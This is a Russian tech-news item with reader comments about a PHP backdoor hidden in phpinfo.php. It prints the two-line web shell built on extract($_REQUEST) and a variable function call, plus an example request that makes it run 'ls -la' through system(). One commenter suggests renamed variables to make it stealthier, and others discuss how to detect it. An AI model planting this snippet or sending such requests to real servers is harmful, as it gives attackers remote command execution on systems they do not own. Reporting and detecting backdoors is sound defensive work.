Выявлен (http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-cle...) заслуживающий внимания PHP-бэкдор, активация которого производится без использования типовых вызовов "eval", "exec", "system", "assert" и "preg_replace". При установке бэкдора в файле phpinfo.php появляется несколько на первый взгляд неопасных строк:<font color="#461b7e">
@extract ($_REQUEST);
@die ($ctime($atime));
</font>При более вдумчивом просмотре становится ясно, что при помощи функции extract осуществляется создание переменных на основании данных, переданных в составе запроса GET или POST. Конструкция $ctime($atime) по сути является вызовом функции, имя которой хранится в переменной $ctime. Сформировав запрос "/phpinfo.php?ctime=system&atime=ls -la" получим вызов фуенкции system() с аргументом "ls -la".
URL: http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-cle...
Новость: http://www.opennet.me/opennews/art.shtml?num=39113
>@extract ($_REQUEST);те кто не валидирует входные данные, должны страдать
Это код бэкдора, вызывать внешние команды - в этом его смысл, зачем ему валидировать параметры?
Неочевидный, но вполне обычный.
Нужно было вместо @die ($ctime($atime)); написать @die ($exit_($exit_code));, стало бы ещё менее подозрительно.
> @extract ($_REQUEST);"неочевидный" для кого?
Даже в документации это отмечено красненьким: "Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.)...". Да
Или автор новости считает, что бекдор должен сопровождаться комментами "Смотрите все, йа бекдорко!"?
P.s. вангую в треде буратино, который снова будет выть о том, какое г.. этот ваш пхп.
За Буратину.
Ну всё-таки, в каком ещё популярном вэб-ориентированном языке есть доступные конструкции, позволяющие одним движениемм оголить всю-всю свою задницу перед миром?
У тебя тоже есть возможность снять штаны посреди улицы, но почему-то ты этого не делаешь ;)
По твоей логике лучше тебя будет тот у кого нет технической возможности снять штаны?))
Классная аналогия, форум лингвистов прям.
Правильно я понял, пхп == штаны, небезопасность пхп == снимание штанов?
Нет.
PHP - руки, инструмент.
$_REQUEST - штаны.
extract() - функция.
Нормальный человек ведь не станет посредством рук выполнять функцию снимания штанов на паблике.. Т.е. другими словами, выполнять @extract ($_REQUEST)..
Я хочу сказать что дело не в PHP, а в том кто и как его применяет.
По сути, не шибко отличается от eval($_GET['some bull shit']). Но речь не о том, что кто-то может "случайно" такое написать.Речь о том, что раз нет явного вызова eval то такой код, будучи внедренным, будет незаметен. Но ёмаё, завуалировать шелл можно и более изысканными способами.
И вообще, если веб-сервис позволяет внедрить код - это уже огроменная дырень. А уж как там будут выглядеть пара строк, запускающие содержимое строки запроса на выполнение - вообще пофигу.
> За Буратину.
> Ну всё-таки, в каком ещё популярном вэб-ориентированном языке есть доступные конструкции,
> позволяющие одним движениемм оголить всю-всю свою задницу перед миром?*список всех вэб-ориентированных языков*
Хотя в той же вэб-ориентированной java выход из песочницы потребует много движений.
А вообще не всегда нужно оголять всю-всю задницу, достаточно оголить дырочку, ведущую в БД с биллингом.
Обычно взломщикам интереснее данные о пользователях, чем содержимое /etc веб сервера.
Давайте уже будем честны сами с собой.1. Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах. Если руки растут из жопы, можно и на яве написать дерьмовый дырявый код с плохой архитектурой.
2. ПХП vs технологии оракл -- сравнение тёплого с мягким. Первое -- скриптовый язык с низким порогом вхождения, второе -- дорогущая платформа. Нет такого множества задач, на котором можно было бы их реально сравнить.
> Проблема ПХП не в наличии/отсутствии чего-то там в самом языкеа в его логике
всегда поражаюсь людям с их упрямством, которые считают, что достаточно взять нужные ингридиенты, скинуть их скопом, и всё, всегда у всех получится одинаково.
вкусный салат отличается от невкусного ГАРМОНИЕЙ ингридиентов, а не их количеством. красивое помещение отличается от барака Обамы ГАРМОНИЕЙ, а не нагромождением шкафов. вещь бывает не только напичканой функциями, но и удобной. и в одном языке писать удобно и легко, и ошибки содержаются реже, а другой - просто располагает к ошибкам. в одном ты должен следить за тысячей рутинных вещей, иначе будет очень больно - а в другом нет.
в конечном итоге, это создаёт удобство. чем неудобнее - тем больше ошибок. законы психологии.
> Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах.хотя, да. в индусах. которые создали дизайн этого языка. :)
> которые создали дизайн этого языка. :)у похапэ есть дизайн? ЛОМАЮЩИЕ НОВОСТИ!
>> Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах.
> хотя, да. в индусах. которые создали дизайн этого языка. :)Расмус он такой расовый индус, да.
perl, python, oh wait o_O
А, moin-moin wiki, припоминаем, там такое на бидоне изобразили, как ни странно :)
зафильтровать extract на содание system,eval ?
А может просто не делать extract суперглобальных массивов, не? Соскучились по register_globals?
Я нет, но британские ученые раздувают как "уязвимость"...
Бери выше - может злодеям не злодействовать, взломщикам не взламывать, ворам не воровать и вообще пусть будет мир во всем мире.
поймите уже - это бекдор (доступ на сервак давным давно имеется) и прекратите разговоры про валидацию и прочую хню.пс: видал и по круче бекдоры, этот метод всего лишь спасает от авто поиска по шаблону не более, любой бекдор можно обноружить если допустим хранить на локалке копию под гитом, или всякие трипвайры вам в помощь
> этот метод всего лишь спасает от
> авто поиска по шаблону не болееэто надо очень доверчивым быть, чтобы не иметь шаблона, который заставит чекалку заорать благим матом при виде непрямого вызова. подавляющее большинство похапэ-кодираф такую конструкцию не просто не используют — они и представить-то её не в состоянии. так что если обнаружилась — это мегаахтунг.